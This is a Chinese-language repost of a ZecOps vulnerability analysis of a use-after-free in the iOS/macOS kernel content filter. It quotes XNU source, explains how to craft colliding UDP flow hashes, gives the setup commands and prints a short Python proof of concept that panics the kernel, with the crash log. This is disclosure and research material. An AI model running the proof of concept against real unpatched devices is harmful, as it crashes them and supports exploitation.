iOS/macOS内容过滤器内核UAF漏洞分析和概念证明

栏目: 编程工具 · 发布时间: 6年前

内容简介:概述2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一

概述

2019年5月13日,发布了iOS 12.3和macOS 10.14.5版本。该更新中,修复了ZecOps研究团队在2019年5月初独立发现的XNU内核中的Use-After-Free漏洞。然而,在撰写本文时,ZecOps团队并不清楚是否已经为该漏洞分配CVE编号,因为在我们正准备向Apple披露此漏洞的过程中,该漏洞就已经被修复。

基于ZecOps威胁情报,我们怀疑威胁行为者正在利用这一漏洞攻击移动设备管理(Mobile Device Management)用户。ZecOps正在持续开展调查,以确认这一点是否属实。作为预防措施,ZecOps建议用户将iOS或macOS设备更新为最新的软件版本。

一旦初始代码执行完成,这个强大的漏洞可以允许攻击者进行完整的设备接管。此外,可以从受监控设备上的沙箱中进程和应用程序实现此漏洞利用。

漏洞详细分析

网络扩展控制策略(NECP)已经在/bsd/net/necp.c中详细描述。

该模块的目标是允许客户端通过内核控制套接字链接,以创建高级别策略会话,这些会话被提取到控制、标记应用程序、套接字和IP层流量的低级别内核策略中。

从macOS 10.14和iOS 12版本开始,UDP支持包含添加到内容过滤器的垃圾收集(GC)线程。

/*
 * NECP FILTER CONTROL UNIT
 *
 * A user space filter agent uses the Network Extension Control Policy (NECP)
 * database to specify which TCP/IP sockets need to be filtered. The NECP
 * criteria may be based on a variety of properties like user ID or proc UUID.
 *
 * The NECP "filter control unit" is used by the socket content filter subsystem
 * to deliver the relevant TCP/IP content information to the appropriate
 * user space filter agent via its kernel control socket instance.
 * This works as follows:
 *
 * 1) The user space filter agent specifies an NECP filter control unit when
 *    in adds its filtering rules to the NECP database.
*/

函数cfil_sock_udp_get_flow首先查找本地地址/端口和远程地址/端口(laddr、lport、faddr、fport)组合的现有条目(下方代码示例中的Comment 1)。如果不存在已有条目,则会生成一个新的条目,并将其插入到cfentry_link的头部。

cfdb_only_entry指针将始终指向最新的条目(下方代码中的Comment 2)。

随后,cfil_info_alloc将分配一个新的cfil_info对象,该对象中包含唯一标识符cfil_sock_id,然后将cfil_info插入名为cfi_link的链表的尾部(下方代码中的Comment 3)。

struct cfil_hash_entry *
cfil_sock_udp_get_flow(struct socket *so, uint32_t filter_control_unit, bool outgoing, struct sockaddr *local, struct sockaddr *remote)
{
    ...
    // See if flow already exists.
    hash_entry = cfil_db_lookup_entry(so->so_cfil_db, local, remote);//Comment 1: Check for existing entry
    if (hash_entry != NULL) {
        return (hash_entry);
    }
 
    hash_entry = cfil_db_add_entry(so->so_cfil_db, local, remote);//Comment 2
    if (hash_entry == NULL) {
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to add entry");
        return (NULL);
    }
 
    if (cfil_info_alloc(so, hash_entry) == NULL || // Comment 3
        hash_entry->cfentry_cfil == NULL) {
        cfil_db_delete_entry(so->so_cfil_db, hash_entry);
        CFIL_LOG(LOG_ERR, "CFIL: UDP failed to alloc cfil_info");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_no_mem);
        return (NULL);
    }
    ...
}

GC线程每隔10秒唤醒一次,它会将过期套接字的sock_id添加到名为expired_array的列表中(下面代码中的Comment [a]),然后在另一个循环(Comment)中释放expired_array中的cfil_info。

cfil_info_udp_expire(void *v, wait_result_t w)
{
...
 
    TAILQ_FOREACH(cfil_info, &cfil_sock_head, cfi_link) {
        if (expired_count >= UDP_FLOW_GC_MAX_COUNT)
            break;
 
        if (IS_UDP(cfil_info->cfi_so)) {
            if (cfil_info_idle_timed_out(cfil_info, UDP_FLOW_GC_IDLE_TO, current_time) ||
                cfil_info_action_timed_out(cfil_info, UDP_FLOW_GC_ACTION_TO) ||
                cfil_info_buffer_threshold_exceeded(cfil_info)) {
                expired_array[expired_count] = cfil_info->cfi_sock_id;//[a]
                expired_count++;
            }
        }
    }
    cfil_rw_unlock_shared(&cfil_lck_rw);
 
    if (expired_count == 0)
        goto go_sleep;
 
    for (uint32_t i = 0; i < expired_count; i++) {
 
        // Search for socket (UDP only and lock so)
        so = cfil_socket_from_sock_id(expired_array[i], true);//[b]
        if (so == NULL) {
            continue;
        }
 
        cfil_info = cfil_db_get_cfil_info(so->so_cfil_db, expired_array[i]);
...
        cfil_db_delete_entry(db, hash_entry);
        cfil_info_free(cfil_info);//
...
}

cfdb_only_entry应该在函数cfil_db_delete_entry中设置为NULL。然而,db->cfdb_only_entry = NULL;(第25行)永远不会执行。

iOS/macOS内容过滤器内核UAF漏洞分析和概念证明

我们仔细查看cfil_db_get_cfil_info函数,当只剩下一个条目(快捷路径)时,将执行不同的路径,以获得更好的性能。

struct cfil_info *
cfil_db_get_cfil_info(struct cfil_db *db, cfil_sock_id_t id)
{
    struct cfil_hash_entry *hash_entry = NULL;
 
    ...
 
    // This is an optimization for connected UDP socket which only has one flow.
    // No need to do the hash lookup.
    if (db->cfdb_count == 1) { //fast path
        if (db->cfdb_only_entry && db->cfdb_only_entry->cfentry_cfil &&
            db->cfdb_only_entry->cfentry_cfil->cfi_sock_id == id) {
            return (db->cfdb_only_entry->cfentry_cfil);
        }
    }
 
    hash_entry = cfil_db_lookup_entry_with_sockid(db, id);
    return (hash_entry != NULL ? hash_entry->cfentry_cfil : NULL);
}

如果两个不同的cfil_info对象具有相同的cfil_sock_id,则会发送以下流:

在第一个循环中,cfil_db_get_cfil_info返回entry2,这是cfentry_link的第一个元素,将在以后的执行过程中释放。

在第二个循环中,cfil_db_get_cfil_info进入快速路径,并返回由cfdb_only_entry指向的对象(即已释放的entry2)。因此,内核将在后续执行过程中,因Use-After-Free漏洞而发生崩溃(Panic)。

+--------------------+       +-----------------+
|   entry 2         <--------+ cfdb_only_entry |
+--------------------+       +-----------------+
|   entry 1          |
+--------------------+

漏洞复现过程

为了生成cfil_sock_id碰撞,我们首先需要知道如何构建cfil_sock_id。

cfi_sock_id由so_gencnt、faddr、laddr、fport和lport计算得到。

so_gencnt是套接字的生成计数,针对单个套接字,该值保持不变。较高的32位来自so_gencnt,而较低的32位是基于laddr、faddr、lport和fport的运算结果。

#define CFIL_HASH(laddr, faddr, lport, fport) ((faddr) ^ ((laddr) >> 16) ^ (fport) ^ (lport))
hashkey_faddr = entry->cfentry_faddr.addr46.ia46_addr4.s_addr;
hashkey_laddr = entry->cfentry_laddr.addr46.ia46_addr4.s_addr;
entry->cfentry_flowhash = CFIL_HASH(hashkey_laddr, hashkey_faddr,
                                entry->cfentry_lport,entry->cfentry_fport);
// This is the UDP case, cfil_info is tracked in per-socket hash
cfil_info->cfi_so = so;
hash_entry->cfentry_cfil = cfil_info;
cfil_info->cfi_hash_entry = hash_entry;
cfil_info->cfi_sock_id = ((so->so_gencnt << 32) | (hash_entry->cfentry_flowhash & 0xffffffff));
CFIL_LOG(LOG_DEBUG, "CFIL: UDP inp_flowhash %x so_gencnt %llx entry flowhash %x sockID %llx",
         inp->inp_flowhash, so->so_gencnt, hash_entry->cfentry_flowhash, cfil_info->cfi_sock_id);

发送两个相同的UDP请求,将只会生成一个cfil_info对象,并且laddr、lport、faddr、fport中至少有一个值应该是不同的,因此在cfil_db_lookup_entry之后,函数cfil_sock_udp_get_flow不会立刻返回。

struct cfil_hash_entry *
cfil_db_lookup_entry(struct cfil_db *db, struct sockaddr *local, struct sockaddr *remote)
{
    ...
        if (nextentry->cfentry_lport == matchentry.cfentry_lport &&
            nextentry->cfentry_fport == matchentry.cfentry_fport &&
            nextentry->cfentry_laddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_laddr.addr46.ia46_addr4.s_addr &&
            nextentry->cfentry_faddr.addr46.ia46_addr4.s_addr == matchentry.cfentry_faddr.addr46.ia46_addr4.s_addr) {
            return nextentry;
        }
    ...
}

总而言之,为了重现上述的崩溃(Panic),我们需要发送满足以下两个条件的UDP请求:

1. 具有相同的so_gencnt,也就是相同的套接字对象;

2. 具有相同的flowhash;

3. 具有不同的地址或端口。

通过构造特定的faddr、fport值,可以满足上述要求。

PoC部署环境

除非设备已经启用了MDM,否则在macOS上运行PoC可能不会生效。要触发此漏洞,设备应该满足以下条件:

1. 至少附加了一个内容过滤器(Content Filter);

2. 影响UDP请求的NECP策略被添加到NECP数据库;

3. 受影响的NECP策略和附加的内容过滤器具有相同的filter_control_unit。

cfil_sock_udp_handle_data(bool outgoing, struct socket *so,
                          struct sockaddr *local, struct sockaddr *remote,
                          struct mbuf *data, struct mbuf *control, uint32_t flags)
{
...
 
    if (cfil_active_count == 0) {//[a]
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP no active filter");
        OSIncrementAtomic(&cfil_stats.cfs_sock_attach_in_vain);
        return (error);
    }
    
    filter_control_unit = necp_socket_get_content_filter_control_unit(so);//[b]
    if (filter_control_unit == 0) {
        CFIL_LOG(LOG_DEBUG, "CFIL: UDP failed to get control unit");
        return (error);
    }
...
    
    hash_entry = cfil_sock_udp_get_flow(so, filter_control_unit, outgoing, local, remote);
    if (hash_entry == NULL || hash_entry->cfentry_cfil == NULL) {
        CFIL_LOG(LOG_ERR, "CFIL: Falied to create UDP flow");
        return (EPIPE);
    }
...
}

默认情况下,内容过滤器不会被集火,我们需要手动添加它。具体而言,我们需要运行Apple的network-cmds cfilutil。需要注意的是,cfilutil不是预先安装的工具,我们可能需要从源代码对其进行编译。

由于[a]行的检查将通过,因此下面的命令将激活内容过滤器:

sudo cfilutil -u [control_unit]

Control_unit是一个整数值,应该与filter_control_unit中的NECP策略相同。

sudo cfilutil -u 100

概念证明(PoC)代码

PoC代码非常简单,只需要几行 Python 代码即可轻松实现。在运行PoC代码后,设备将在几秒钟后发生崩溃(Panic)。PoC中的地址和端口组合是不同的,同时它们具有相同的flowhashin内容过滤器:

# PoC - CVE-2019-XXXX by ZecOps Research Team ©
# © ZecOps.com - Find and Leverage Attacker’s Mistakes™
# Intended only for educational purposes
# Considered as confidential under NDA until responsible disclosure
# Not for sale, not for sharing, use at your own risk
 
import socket
 
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
msg = b'ZecOps'
address = ('192.168.1.5', 8080)
s.sendto(msg, address)
 
address = ('193.168.1.5', 7824)
s.sendto(msg, address)
s.close()

在执行PoC后,macOS上生成了以下崩溃(Panic)信息:

*** Panic Report ***
panic(cpu 0 caller 0xffffff800c014cae): Kernel trap at 0xffffff800c285638, type 13=general protection, registers:
CR0: 0x000000008001003b, CR2: 0x0000000108c06ab0, CR3: 0x000000000f375000, CR4: 0x00000000001606e0
RAX: 0xffffff80195b67d0, RBX: 0xffffff800cac6d90, RCX: 0x0100000100000000, RDX: 0x0000000100000000
RSP: 0xffffff8067563f60, RBP: 0xffffff8067563fa0, RSI: 0xffffff8067563c58, RDI: 0xffffff804660f000
R8:  0x0000001078d5b42a, R9:  0x0000000000000000, R10: 0xffffff8046610520, R11: 0x0000000000000000
R12: 0xc0ffee4fc790eb7a, R13: 0x0000000000000000, R14: 0xffffff801638cba0, R15: 0xffffff80195cee88
RFL: 0x0000000000010282, RIP: 0xffffff800c285638, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000108c06ab0, Error code: 0x0000000000000000, Fault CPU: 0x0 VMM, PL: 0, VF: 0
 
Backtrace (CPU 0), Frame : Return Address
0xffffff800bd5d280 : 0xffffff800be8e46d
0xffffff800bd5d2d0 : 0xffffff800c025436
0xffffff800bd5d310 : 0xffffff800c014a62
0xffffff800bd5d380 : 0xffffff800be29ae0
0xffffff800bd5d3a0 : 0xffffff800be8db2b
0xffffff800bd5d4d0 : 0xffffff800be8d953
0xffffff800bd5d540 : 0xffffff800c014cae
0xffffff800bd5d6b0 : 0xffffff800be29ae0
0xffffff800bd5d6d0 : 0xffffff800c285638
0xffffff8067563fa0 : 0xffffff800be290ce
 
BSD process name corresponding to current thread: kernel_task

修复补丁

在安装macOS 10.14.5和iOS 12.3的补丁之后,db->cfdb_only_entry = NULL;(第18行)可以正确执行。

iOS/macOS内容过滤器内核UAF漏洞分析和概念证明

安全建议

ZecOps威胁取证团队建议用户应该将iOS设备更新到最新版本。这样一来,就可以有效防范此类漏洞利用,并使漏洞利用链无效。随之,在受影响的MDM设备上利用此漏洞的威胁参与者将失去持久性。在Apple iOS更新后,原本受影响的设备也将被淘汰。如果用户怀疑自己的设备受到此漏洞的攻击,可以与ZecOps联系。

目前,我们已经与全球领先的合作伙伴、经销商、分销商和创新安全团队开展合作,如果想要进一步了解我们的工作,可以与我们取得联系。

如果研究人员针对我们所做的漏洞研究、漏洞利用、数字取证和事件响应感兴趣,可以加入ZecOps Reverse Bounty计划。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Don't Make Me Think

Don't Make Me Think

Steve Krug / New Riders Press / 18 August, 2005 / $35.00

Five years and more than 100,000 copies after it was first published, it's hard to imagine anyone working in Web design who hasn't read Steve Krug's "instant classic" on Web usability, but people are ......一起来看看 《Don't Make Me Think》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

URL 编码/解码
URL 编码/解码

URL 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具